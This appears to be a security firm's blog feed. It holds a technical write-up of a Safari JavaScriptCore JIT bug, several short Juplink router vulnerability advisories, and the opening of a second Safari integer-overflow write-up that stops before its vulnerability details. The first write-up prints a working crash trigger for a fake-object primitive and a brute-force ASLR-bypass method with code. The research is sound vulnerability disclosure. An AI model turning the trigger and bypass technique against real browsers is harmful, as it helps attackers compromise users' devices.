				
					     *     Pointer {  0000:PPPP:PPPP:PPPP
     *              / 0002:****:****:****
     *     Double  {         ...
     *              \ FFFC:****:****:****
     *     Integer {  FFFE:0000:IIII:IIII
				
			

Raw pointers keep their upper bits (16 most-significant bits) at 0. Other specific values such as Boolean, null and undefined values share the same 0x0000 tag:

				
					     *     False:     0x06
     *     True:      0x07
     *     Undefined: 0x0a
     *     Null:      0x02
				
			

Doubles start with the upper 16-bit at 0x0002... and end with the upper 16-bit at 0xFFFC.... This is encoded by adding the constant 2**49 (0x0002000000000000) to all double values. After this addition, no double-precision value begins with 0x0000 or 0xFFFE tags. If further manipulation is required, this constant (2**49) should be subtracted before performing operations on double-precision numbers.

Integers have the upper 16-bit set to 0xFFFE..., only using the 32 least-significant bits for the actual integer values.

				
					gef>  r
Starting program: ./jsc 
>>> let obj = {f: 1.1}
undefined

[1]

>>> describe(obj);
"Object: 0x7fb9d34e0000 with butterfly (nil)(base=0xfffffffffffffff8) (Structure 0x7fb9d34d49a0:[0xe8b/3723, Object, (1/2, 0/0){f:0}, NonArray, Proto:0x7fba1501d8e8, Leaf]), StructureID: 3723"

[2]

gef>  x/32gx 0x7fb9d34e0000
0x7fb9d34e0000:	0x0100180000000e8b	0x0000000000000000
0x7fb9d34e0010:	0x3ff399999999999a	0x0000000000000000

[3]

gef>  p/x 0x3ff399999999999a - 0x0002000000000000 # 2**49
$1 = 0x3ff199999999999a
gef➤  p/f 0x3ff199999999999a
$2 = 1.1000000000000001
				
			

After defining an object with a float property f of value 1.1 we use the runtime debugging function describe to obtain the address in memory of the declared object [1]. Note that the object’s butterfly is nil. For other cases, for example arrays, this butterfly pointer would be the elements pointer – for (a lot) more information on these terms refer to this WebKit Blog. By inspecting the aforementioned object address in the debugger, at offset 0x10 the encoded double-precision value is retrieved [2]. By following the previous encoding of subtracting 2**49 from the value [3], the original double-precision value 1.1 is retrieved.

In the source code, there are helper constants to perform such manipulation of integer and double-precision values.

				
					    // This value is 2^49, used to encode doubles such that the encoded value will begin
    // with a 15-bit pattern within the range 0x0002..0xFFFC.
    static constexpr size_t DoubleEncodeOffsetBit = 49;
    static constexpr int64_t DoubleEncodeOffset = 1ll << DoubleEncodeOffsetBit;
    // If all bits in the mask are set, this indicates an integer number,
    // if any but not all are set this value is a double precision number.
    static constexpr int64_t NumberTag = 0xfffe000000000000ll;
				
			

The “NaN-boxing” techniques effectively use the payload in a NaN value to box information within the value itself, hence the name “NaN-boxing”. One of the key points of the vulnerability described within this blog post relies on abusing such encoding techniques. If an attacker were to provide unsanitized double-precision values starting at 0xFFFE..., once the engine tried to encode and store such a value by adding the 2**49 constant, the value would end up as 0xFFFE000000001234 + 2**49 = 0x0000000000001234 as it overflows, resulting in the 0x0000 tag, which corresponds to a raw pointer to 0x1234.

Vulnerability

Optimizing Compilers: DFG & FTL

DFG (Data Flow Graph) and FTL (Faster Than Light) are two of JavaScriptCore’s Just-in-Time (JIT) Optimizing Compilers. In case these concepts are new, reading about them beforehand would make understanding the following vulnerability details easier. JIT compilers have been extensively written about, including on Vignesh’s post on another Safari vulnerability.

Vulnerability Details

The vulnerability that we are going to discuss arises from the manner in which JavaScriptCore’s DFG JIT and FTL JIT optimize and compile fetching an element from a Floating point typed array. For the purpose of this blog post, we will be primarily looking at the DFG JIT code, however this same issue also existed in FTL.

Consider the following JavaScript code.

				
					let float_array = new Float64Array(10) ;
let value = float_array[0];
				
			

In the second line the float_array[0] is fetching an element from the floating point typed array. If such a statement were to be compiled by the DFG compiler, the function in the compiler responsible for converting the DFG IR into native assembly would be SpeculativeJIT::compileGetByValOnFloatTypedArray from the file Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp. Let’s take a look at the this function.

				
					void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>&amp; prefix)
{
    ASSERT(isFloat(type));
    
    SpeculateCellOperand base(this, m_graph.varArgChild(node, 0));
    SpeculateStrictInt32Operand property(this, m_graph.varArgChild(node, 1));
    StorageOperand storage(this, m_graph.varArgChild(node, 2));
    GPRTemporary scratch(this);
    FPRTemporary result(this);

    GPRReg baseReg = base.gpr();
    GPRReg propertyReg = property.gpr();
    GPRReg storageReg = storage.gpr();
    GPRReg scratchGPR = scratch.gpr();
    FPRReg resultReg = result.fpr();

    JSValueRegs resultRegs;
    DataFormat format;
    std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);

    emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR);
    switch (elementSize(type)) {
    case 4:
        m_jit.loadFloat(MacroAssembler::BaseIndex(storageReg, propertyReg, MacroAssembler::TimesFour), resultReg);
        m_jit.convertFloatToDouble(resultReg, resultReg);
        break;
    case 8: {
    
        // [1]
    
        m_jit.loadDouble(MacroAssembler::BaseIndex(storageReg, propertyReg, MacroAssembler::TimesEight), resultReg);
        break;
    }
    default:
        RELEASE_ASSERT_NOT_REACHED();
    }
    
    // [2]
    
    if (format == DataFormatJS) {
        
        // [3]
        
        m_jit.boxDouble(resultReg, resultRegs);
        jsValueResult(resultRegs, node);
    } else {
        ASSERT(format == DataFormatDouble);
        doubleResult(resultReg, node);
    }
}
				
			

From the code snippet above, we can see that if the element size is 8 bytes, which means that the array we are accessing is a Float64Array and not a Float32Array, then at [1], the element is loaded from an index in the array into a temporary register (resultReg in the above snippet). At [2], the format parameter is checked. This parameter is telling the compiler about the type in which the loaded float is going to be used. If the compiler thinks that the loaded value is going to be used as a float in the future, then there is no need to convert it into a JSValue. In this case, the value of the format variable will be DataFormatDouble. However, if the compiler thinks that the float value that is loaded from the array is going to be used as a JSValue, then it has to convert this float into a JSValue.

As we saw in previous sections, to convert a raw double into a JSValue double, the engine adds 2**49 to the raw double. The code to do this is provided by the boxDouble() function. Therefore, if the value of the format variable is DataFormatJS, then the control reaches [3], where the boxDouble function is called with resultReg as the first argument, which contains the double element that was loaded from the array at [1]. The following listing shows the boxDouble() function.

				
					// File - Source/JavaScriptCore/jit/AssemblyHelpers.h
    void boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode = HaveTagRegisters)
    {
        boxDouble(fpr, regs.gpr(), mode);
    }

    GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters)
    {
    
        // [1]
        
        moveDoubleTo64(fpr, gpr);
        
        // [2]
        
        if (mode == DoNotHaveTagRegisters)
            sub64(TrustedImm64(JSValue::NumberTag), gpr);
        else {
            sub64(GPRInfo::numberTagRegister, gpr);
            jitAssertIsJSDouble(gpr);
        }
        return gpr;
    }
				
			

The double value is moved into a General Purpose Register (gpr) at [1] and then converted into a JSValue at [2]. In order to convert the double to a JSValue, the value JSValue::NumberTag is subtracted from the double value. The JSValue::NumberTag is the constant value 0xfffe000000000000 as can be seen in the Source/JavaScriptCore/runtime/JSCJSValue.h file.

The interesting part to note here is that the result of the subtraction is never checked for an integer overflow. In an ideal case, it should never overflow because in order for it to overflow the 49th bit of the double value should be set which will make it an invalid double or in other words, a NaN value. There can be multiple values for NaN, but JavaScriptCore has one representation for it and uses the value 0x7ff8000000000000, which it calls pureNaN, to represent NaN. Hence, if the argument for the boxDouble function is coming from a previous JSValue then this subtraction can never overflow.

However, if the argument to this function is a raw, user-controlled value, then the subtraction can overflow. For example, if our input to this function (fpr in the above snippet) has the value 0xfffe000012345678, then the subtraction will follow the following course:

				
					gpr = fpr                             // [1] from the above snippet
gpr = gpr - JSValue::NumberTag;       // [2] from the above snippet  
=> gpr = 0xfffe000012345678 - 0xfffe000000000000;
=> gpr = 0xfffe000012345678 + 0x0002000000000000; // taking 2's complement
=> gpr = 0x0000000012345678; // overflow happens and the top bit is discarded
				
			

As we can see, subtraction with  0xfffe000000000000 is same as addition with 2**49. In the end, the gpr ends up as a fully controlled value with all the top bits unset. However, as we discussed in the NaN-Boxing section, a JSValue with all the top bits unset represents a JSObject pointer. Therefore if we manage to control the first argument, fpr, then we can craft a pointer and get JSC into believing that this is a valid pointer to a JSObject. This works because when DFG emits the code to load a value from a Float64Array, which holds raw doubles, it never checks if the double is an “impure NaN” or in other words, if the double is a NaN value but not the pure NaN value of 0x7ff8000000000000. Due to this we can point to anywhere in memory and the engine will read such a pointer as a JS object. Effectively resulting in a straight fakeobj primitive from this bug.

Path to trigger the bug

Now that we see what the bug is, let’s take a look at how it can be reached from JavaScript. In order to hit the bug, we will need to make use of the for…in enumeration in JavaScript.

Take a look at the following code that shows a JS for-in loop, which will enumerate all the property names of the obj object.

				
					obj = {x:1, y:1}
function forin(arg) {
    for (let i in obj) {
    
        // [1]
        let out = arg[i];
    }
}
				
			

At [1], the value of the currently enumerated property name (i variable in the snippet) is fetched from the arg object. When the code is being JIT compiled, [1] will be represented by the DFG IR opcode EnumeratorGetByVal. When this opcode is compiled into assembly code in the DFG JIT compiler, it reaches the following piece of code.

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
    case EnumeratorGetByVal: {
        compileEnumeratorGetByVal(node);
        break;
    }
				
			

As we can see, this is just calling the compileEnumeratorGetByVal() function which contains the logic to convert this opcode into native assembly. Let’s look at the definition of this function.

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
void SpeculativeJIT::compileEnumeratorGetByVal(Node* node)
{
    Edge baseEdge = m_graph.varArgChild(node, 0);
    auto generate = [&amp;] (JSValueRegs baseRegs) {

[TRUNCATED]

[1]

        compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&amp;] (DataFormat) {
        
[TRUNCATED]

            notFastNamedCases.link(&amp;m_jit);
            
[2]
            return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };
        }));
        
[TRUNCATED]
    };

    if (isCell(baseEdge.useKind())) {
        // Use manual operand speculation since Fixup may have picked a UseKind more restrictive than CellUse.
        SpeculateCellOperand base(this, baseEdge, ManualOperandSpeculation);
        speculate(node, baseEdge);
        generate(JSValueRegs::payloadOnly(base.gpr()));
    } else {
        JSValueOperand base(this, baseEdge);
        generate(base.regs());
    }
				
			

The compileEnumeratorGetByVal() calls the generate() closure. This closure calls the compileGetByVal() function at [1]. This function
is responsible for handling the compilation of all indexed accesses from all types of arrays. The compileEnumeratorGetByVal() calls this function informing it to handle all the indexed accesses in the enumerator loop. This is done using the lambda function that is passed as an argument to compileGetByVal(). At [2], the lambda returns a tuple, the first value being the register where the current value of the indexed load is to be stored and the second value being the format in which it should be stored. As we can see, the second value is always a constant – DataFormatJS – informing that the loaded value is always to be stored in the JSValue format.

In case arg in the JS snippet above is the floating point typed array Float64Array, then the following parts of the compileGetByVal() function will be executed:

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>&amp; prefix)
{
    switch (node->arrayMode().type()) {

// [TRUNCATED]

// [1]

    case Array::Float32Array:
    case Array::Float64Array: {
        TypedArrayType type = node->arrayMode().typedArrayType();
        if (isInt(type))
            compileGetByValOnIntTypedArray(node, type, prefix);
        else
        
// [2]
        
            compileGetByValOnFloatTypedArray(node, type, prefix);
    } }
}
				
			

If the array that is being accessed is a Float64Array array, then the function that is called is compileGetByValOnFloatTypedArray(), which is the vulnerable function. The next important point is that the compileEnumeratorGetByVal() function is saying that the result of the element fetch is to be stored in the JSValue format using the return value of the lambda that we saw above. In this manner, our vulnerable function is called with a Floating Point Typed Array that we control, and with the compiler being told that the value being fetched is to be converted from a raw double to a JSValue double. Keep in mind that the values in Floating Point Typed arrays can be made into “impure NaN” values by changing the underlying array buffer contents using a typed array of another type as shown below:

				
					let abuf       = new ArrayBuffer(0x10);
let bigint_buf = new BigUint64Array(abuf);
let float_buf  = new Float64Array(abuf);

bigint_buf[0] = 0xfffe_0000_0000_0000;
				
			

After the above snippet is run, the raw float in float_buf[0] will be 0xfffe_0000_0000_0000. Using this value we can trigger the bug to trick the JS engine to think that an arbitrary number is a pointer to a JSObject.

In summary, the boxDouble() function assumes that the double value that is passed to it as an argument is a valid double value or a “pure NaN” (0x7ff8000000000000) and has no checks to verify that the result did not overflow. Hence, it is the job of the caller to ensure this condition is satisfied before calling this function. If there is a call site that does not respect this and directly calls this function with a raw user controlled double value, then the attacker can gain full control of a JSValue and fake a pointer to a JSObject by using the overflow to build a very powerful fakeobj primitive.

The compileGetByValOnFloatTypedArray() function does not check that the raw double fetched from a Float64Array is indeed a valid float or not. It just blindly passes it to the boxDouble() function at [3] which makes this vulnerable to the technique described above. If an attacker can trigger this code path, it is possible to achieve the fake object primitive as shown above.

Triggering the Bug

Finally let’s look at the full JavaScript trigger for this bug:

				
					let abuf = new ArrayBuffer(0x10);
let bbuf = new BigUint64Array(abuf);
let fbuf = new Float64Array(abuf);

obj = {x:1234, y:1234};

function trigger(arg, a2) {
    for (let i in obj) {
        obj = [1];
        let out = arg[i];
        a2.x = out;
    }
}
noInline(trigger)

function main() {

    t = {x: {}};
    trigger(obj, t);

// [1]
    for (let i = 0 ; i < 0x1000; i++) {
      trigger(fbuf,t);
    }

// [2]
    bbuf[0] = 0xfffe0000_12345678n;
    trigger(fbuf, t);
    
// [3]    
    t.x;
}

main()
				
			

In the above PoC, the trigger() function is the one that will trigger the vulnerability. At [1] we call the trigger() function in a loop with a  Float64Array that contains a normal benign float – that is no impure NaNs. This is done to train the compiler into emitting the code we want. After this, at [2], we use a BigUint64Array to change the first element of the Float64Array to an impure NaN. Then we call the trigger() function again. This time the bug will trigger and the engine will think that 0x12345678 is a pointer to a valid JSObject. This JSValue is stored in t.x and when we return from the function, we access t.x at [3]. This causes the engine to dereference the pointer which obviously points to an invalid address and crashes the engine while accessing 0x12345678.

Bypassing ASLR

While we have a fakeobj primitive from the bug, we still are constrained by the fact that we don’t have an ASLR bypass and hence can’t fake anything without crashing the engine. However, when we were researching a different case on JSC, we saw some interesting DFG IR.

CompareStrictEq opcode and assembly - type checking

The image shows the assembly that is emitted by the CompareStrictEq IR opcode, which is used to denote JavaScript’s Strict Equality operation in DFG IR. In this case, the LHS (Left Hand Side) D@27 is being compared against the RHS (Right Hand Side) D@34. From the above image, we see that the LHS is not typed – which means that the DFG JIT compiler did not make any assumptions on its type. We can also see that the RHS is typed to Object. This means that the compiler assumes that in this case, the RHS of the === operation is assumed to be a Javascript object by the compiler and it has to verify that this assumption holds. Again, from the image we can see that the compiler has indeed emitted checks to make sure that the type of RHS is checked.

After the type of the RHS is checked, we can see the actual logic for comparing LHS and RHS as in the image below. The code simply compares LHS and RHS with the x86 cmp instruction (this code was generated on an x86-64 Linux machine). This means that in case LHS is not a valid pointer it can still get checked against the pointer to a valid object. Also the return value of this can be read in JavaScript. Therefore we can compare an invalid pointer with a valid pointer and check to see if they are equal without triggering any crash or abnormal behaviour. These are the perfect ingredients for brute-forcing an address! We can use our fakeobj primitive from the NaN bug to get the engine into believing that arbitrary numbers that we control are actually pointers. Then we can compare this fake invalid pointer against a valid one. If the result is true, then we just correctly guessed the address of the valid pointer. Else we update the invalid pointer to a new value and then rinse and repeat the procedure.

CompareStrictEq - pointer comparison

In this way we have a mechanism to use the bug to brute force and find the address of an object pointer in memory. While this technique works, it is also extremely slow taking more than an hour to brute force 32-bits on an M1 mac. Hence its necessary to
improve it to get it to run faster.

Optimizing the Brute Force

Initially we were brute forcing the pointer with something like this:

				
					let object_to_leak = {p1: 0x1337, p2: 0x1337};

for (let i=0n; i<0xffff_ffffn; i+=1n) {
    let fake_pointer = fakeobj(i);
    let result = brute_force(fake_pointer, object_to_leak);
    
    if (result) {
        print('Found the address at: '+ hex(i));
        break;
    }
}
				
			

The first issue with the above is that the address is incremented by one on each loop iteration in the brute force loop. It’s given that the address of any object will be aligned to a multiple of 8. Hence, instead of single stepping in the for loop, an addition of 8 can be done to the loop variable after each iteration. This will give a significant 8x speed up over the original PoC without making any additions assumptions. However, this is still too slow for a browser exploit especially seeing that the iOS and MacOS architectures have 64-bit pointers and not 32-bit.

We observed that on MacOS and iOS the JavaScriptCore heap addresses were always 5 bytes (40 bits) long. Another observation was that, if the exploit is run on a JS worker, and an object is created at the very beginning of the exploit, then the address of the object was always page aligned which means that the last 12 bits of the address of the object were always zero. Using these observations can greatly speed up the brute force as now the object whose address is to be leaked, can be created at the beginning of the exploit before any other object has been initialized, and then, in the brute force loop, the loop variable can be stepped over by 0x1000 instead of 1 or 8 giving a 4096x speed up over the original PoC. This is a huge speed up and now a 5-byte address can be brute forced in seconds.

Summary

The bug we discussed arose from the fact that DFG and FTL loaded a raw double from a typed array and proceeded to convert it into a JSValue double without verifying that the raw double was indeed a valid double or a pure NaN. This led us to achieve a fakeobj primitive whereby we could get the engine to think that any address we wanted is a pointer to a JSObject. After that we used JIT compiled code to brute force ASLR, using the fakeobj primitive, to leak the address of an object. This could be turned into a full addrof primitive, which can leak the address of any JSObject. Using a fakeobj and an addrof primitive, it is possible to achieve arbitrary read/write in the Safari renderer process.

Conclusion

The vulnerabilities discussed in this blog post and the referenced conference talk were introduced due to Apple performing large code commmits in the JavaScriptCore repository, specifically to optimize the for-in functionality of JavaScript. Browsers are ever-evolving large pieces of software, with many modules being added and stripped continually. Smart fuzzing and source-code audits are gradually being adoped into the software development lifecycle at large vendors, but they haven’t yet caught up to the offensive research industry.

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Safari, Hold Still for NaN Minutes! appeared first on Exodus Intelligence.

Juplink RX4-1500 Hard-coded Credential Vulnerability

18 September 2023 at 17:52

EIP-6a41336a

Hard coded credentials exists in Juplink RX4-1500, a WiFi router. An unauthenticated attacker can exploit this vulnerability to log into the web interface or telnet service as the ‘user’ user.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-6a41336a
  • MITRE: CVE-2023-41030

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 5.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

The post Juplink RX4-1500 Hard-coded Credential Vulnerability appeared first on Exodus Intelligence.

Juplink RX4-1500 Command Injection Vulnerability

18 September 2023 at 17:46

EIP-9f56ea7e

A command injection exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-9f56ea7e
  • MITRE: CVE-2023-41029

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

The post Juplink RX4-1500 Command Injection Vulnerability appeared first on Exodus Intelligence.

Juplink RX4-1500 homemng Command Injection Vulnerability

18 September 2023 at 17:30

EIP-57838768

A command injection vulnerability exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-57838768
  • MITRE: CVE-2023-41031

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

The post Juplink RX4-1500 homemng Command Injection Vulnerability appeared first on Exodus Intelligence.

Juplink RX4-1500 Credential Disclosure Vulnerability

18 September 2023 at 17:23

EIP-3fd79566

A credential disclosure vulnerability exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-3fd79566
  • MITRE: CVE-2023-41027

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

The post Juplink RX4-1500 Credential Disclosure Vulnerability appeared first on Exodus Intelligence.

Juplink RX4-1500 Stack-based Buffer Overflow Vulnerability

23 August 2023 at 21:36

EIP-b5185f25

A stack-based buffer overflow exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-b5185f25
  • MITRE: CVE-2023-41028

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: August 21, 2021
  • Disclosed to public: August 23, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0day and Nday can work with us through our Research Sponsorship Program (RSP).

The post Juplink RX4-1500 Stack-based Buffer Overflow Vulnerability appeared first on Exodus Intelligence.

Shifting boundaries: Exploiting an Integer Overflow in Apple Safari

20 July 2023 at 18:45

By Vignesh Rao

Overview

In this blog post, we describe a method to exploit an integer overflow in Apple WebKit due to a vulnerability resulting from incorrect range computations when optimizing Javascript code. This research was conducted along with Martin Saar in 2020.

We show how to convert this integer overflow into a stable out-of-bounds read/write on the JavaScriptCore heap. We then show how to use the out-of-bounds read/write to create addrof and fakeobj primitives

Table of Contents

Introduction

Heavy JavaScript use is common in modern web applications, which can quickly bog down performance. To tackle this issue, most web browser engines have added a Just-In-Time (JIT) compiler to compile hot (i.e. heavily used) JavaScript code to assembly. The JIT compiler relies on information collected by the interpreter when running JavaScript code.

The three most common browser vendors have at least two JIT compilers, one of them being a non-optimizing baseline compiler performing little to no optimization and the other being an optimizing compiler applying heavy optimization to the JavaScript code during compilation.

The WebKit browser engine, used by the Safari browser, has three JIT compilers, namely the baseline compiler, the DFG (Data Flow Graph) compiler, and the FTL (Faster Than Light) compiler. The DFG and FTL are optimizing compilers that operate on special intermediate representations of the target JavaScript source. For this post, we will be focusing on the FTL JIT compiler.

From the post Speculation in JavaScript:

The FTL JIT, or faster than light JIT, which does comprehensive compiler optimizations. It’s designed for peak throughput. The FTL never compromises on throughput to improve compile times. This JIT reuses most of the DFG JIT’s optimizations and adds lots more. The FTL JIT uses multiple IRs (DFG IR, DFG SSA IR, B3 IR, and Assembly IR).

The above-linked article, written by a WebKit developer, describes clearly various JIT concepts in JavaScriptCore, the JavaScript engine within WebKit. Its length is more than matched by the insight it provides.

Pre-requisites

Before diving into the vulnerability details, we will cover a few concepts required to understand the vulnerability better. If you are already familiar with these, feel free to skip this section.

Tiers of Execution in JSC

As mentioned before, all modern browsers have at least 2 tiers of execution – the interpreter and the JIT compiler. Each tier operates on a specific representation of the code. For example, the interpreter works with the bytecode, while the JIT compilers typically work with a lower-level intermediate representation. The following are the tiers of execution in JavaScriptCore:

  • The Low Level Interpreter (LLINT): This is the first tier of execution in the engine operating on the bytecode directly. LLINT is unique as it is written in a custom assembly language called “offlineasm”. This is the slowest tier of execution but accounts for all possible cases that can arise.
  • The Baseline JIT: This is the second tier of execution. It is a template JIT compiler that compiles the bytecode into native assembly without many optimizations. It is faster than the interpreter but slower than other JIT tiers due to a lack of optimizations.
  • The Data Flow Graph (DFG) JIT: This is the third tier of execution. It lowers the bytecode into an intermediate representation called DFG IR. It then uses this IR to perform optimizations. The goal of the DFG JIT is to balance compilation time with the performance of the generated native code. Hence while performing important optimizations, it skips most other optimizations to generate code quickly.
  • The Faster Than Light (FTL) JIT: This is the fourth tier of execution and operates on the DFG IR as well as other IRs called the B3 IR and AIR. The goal of this compiler is to generate code that runs extremely fast while compromising on the speed of compilation. It first optimizes the DFG IR and then lowers it into B3 IR for more optimizations. Next, FTL lowers B3 IR into AIR which is then used to generate the native code.

The following figure highlights the tiers of execution with the code representation they use.

JavaScriptCore Tiers and Code Representations

B3 Strength Reduction Phase

The strength reduction phase for the B3 IR is a large phase that handles things like constant folding and range analysis along with the actual strength reduction. This phase is defined in the Source/JavaScriptCore/b3/B3ReduceStrength.cpp file. One of the relevant classes used in this phase is the class IntRange with two member variables m_min and m_max.

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp

class IntRange {
public:
    ....
private:
    int64_t m_min { 0 };
    int64_t m_max { 0 };
};
				
			

Objects of IntRange type are used to represent integer ranges for B3 nodes with integer values. For example, the Add node in the B3 IR represents the result of the addition of its two operands. An instance of IntRange can be used to represent the range of the Add node, meaning the range of the addition result.

The m_min and m_max members are used to hold the minimum and the maximum values of the range, respectively. For example, if there is an Add node with a result that lies between [0, 100], then the result range can be represented with an IntRange object with m_min as 0 and m_max as 100. If you have worked with v8’s Turbofan, this will be reminiscent of the Typer Phase. If the range of a node cannot be determined, then it is assigned the top range, which is a range that encompasses the minimum and the maximum values of the given type. Hence, for a node with an int32 result, the top range would be [INT_MIN, INT_MAX]. The IntRange class has a generic function called top(), which returns an IntRange instance that covers the entire range for a given type.

The IntRange class has a number of methods that allow operations on ranges. For example, the add() method takes another range as an argument and returns the result of adding the two ranges as a new range. Only specific math operations are supported currently, which include bitwise left/right shifts, bitwise and, add, sub, and mul, among others.

We now know how ranges are represented. But who assigns ranges to nodes? For this, there is a function called rangeFor() in the strength reduction phase.

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp

IntRange rangeFor(Value* value, unsigned timeToLive = 5) {

[1] 
    
    if (!timeToLive)
        return IntRange::top(value-﹥type());
    switch (value-﹥opcode()) {
    
[2]
    
    case Const32:
    case Const64: {
        int64_t intValue = value-﹥asInt();
        return IntRange(intValue, intValue);
    }

[TRUNCATED]

[3]
    
    case Shl:
        if (value-﹥child(1)-﹥hasInt32()) {
            return rangeFor(value-﹥child(0), timeToLive - 1).shl(
                value-﹥child(1)-﹥asInt32(), value-﹥type());
        }
        break;

[TRUNCATED]

    default:
        break;
    }

    return IntRange::top(value-﹥type());
}
				
			

The above snippet shows a stripped-down version of the rangeFor() function. This function accepts a Value, which is the B3 speak for a node, and an integer timeToLive as arguments. If the timeToLive argument is zero, then it returns the top range for the node. Otherwise, it proceeds to calculate the range of the node based on the node opcode in a switch case. For example, if it’s a constant node, then the range of that node is calculated by creating an IntRange with the min and max values set to the constant value.

For nodes with more complex functionality, like those that have operands, there arises the need to first find out the range of the operand. The rangeFor() function often calls itself recursively in such cases. At [3], for example, the range calculation for the shift left operation node is shown. The shl node has 2 operands – the value to be shifted and the value that specifies the shift amount. In the rangeFor() function, the range is only calculated if the shift amount is a constant. First, the range of the value that is to be shifted is found by calling the rangeFor() function on the operand of the shift left node. We can see that when this function is recursively called, the timeToLive value is decremented by one. This is done to avoid infinite recursion as the top value is returned when timeToLive is zero. Once the range of the operand is found, the shl operation is performed on the range by calling the shl() method of the IntRange class. The shift amount and the type of the operand are passed to the function as arguments. This function will return the range of the shl node based on the value to be shifted and the shift amount.

The rangeFor() function only supports a few nodes under specific cases, like the constant shift amount case for the shl node. For all other nodes and cases, the topvalue is returned.

The next question that arises is how these ranges are used. The first thought that comes to mind is that it might be used for bounds check elimination. However, that is not the case in this phase. Bounds checks are eliminated in the FTL Integer Range Optimization phase, which works with the higher level DFG IR and has already run its course by the time we reach the b3 strength reduction phase. So let us look at where rangeFor() is used in the strength reduction phase. We see that the result of this range computation is used to simplify the following B3 nodes:

  1. CheckAdd – The arithmetic add operation with checks for integer overflows.
  2. CheckSub – The arithmetic subtract operation with checks for integer overflows.
  3. CheckMul – The arithmetic multiply operation with checks for integer overflows.

The code for simplifying the CheckSub node into its unchecked version (a simple Sub node without overflow checks) is shown in the following snippet. The other nodes are dealt with in a similar fashion.

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp

[1]

IntRange leftRange = rangeFor(m_value-﹥child(0));
IntRange rightRange = rangeFor(m_value-﹥child(1));

[2] 

if (!leftRange.couldOverflowSub(rightRange, m_value-﹥type())) {

[3]

    replaceWithNewValue(
        m_proc.add(Sub, m_value-﹥origin(), m_value-﹥child(0), m_value-﹥child(1)));
    break;
}
				
			

At [1], the ranges for the left and right operands of the CheckSub operation are computed. Then, at [2], the ranges are used to check if this CheckSub operation can overflow. If it cannot overflow, then the CheckSub is replaced with a simple Suboperation ([3]).

The same logic also applies to the CheckAdd and the CheckMul nodes. Hence we see that the range analysis is used to eliminate the integer overflow checks from the Addition, Subtraction, and Multiplication operations.

Vulnerability

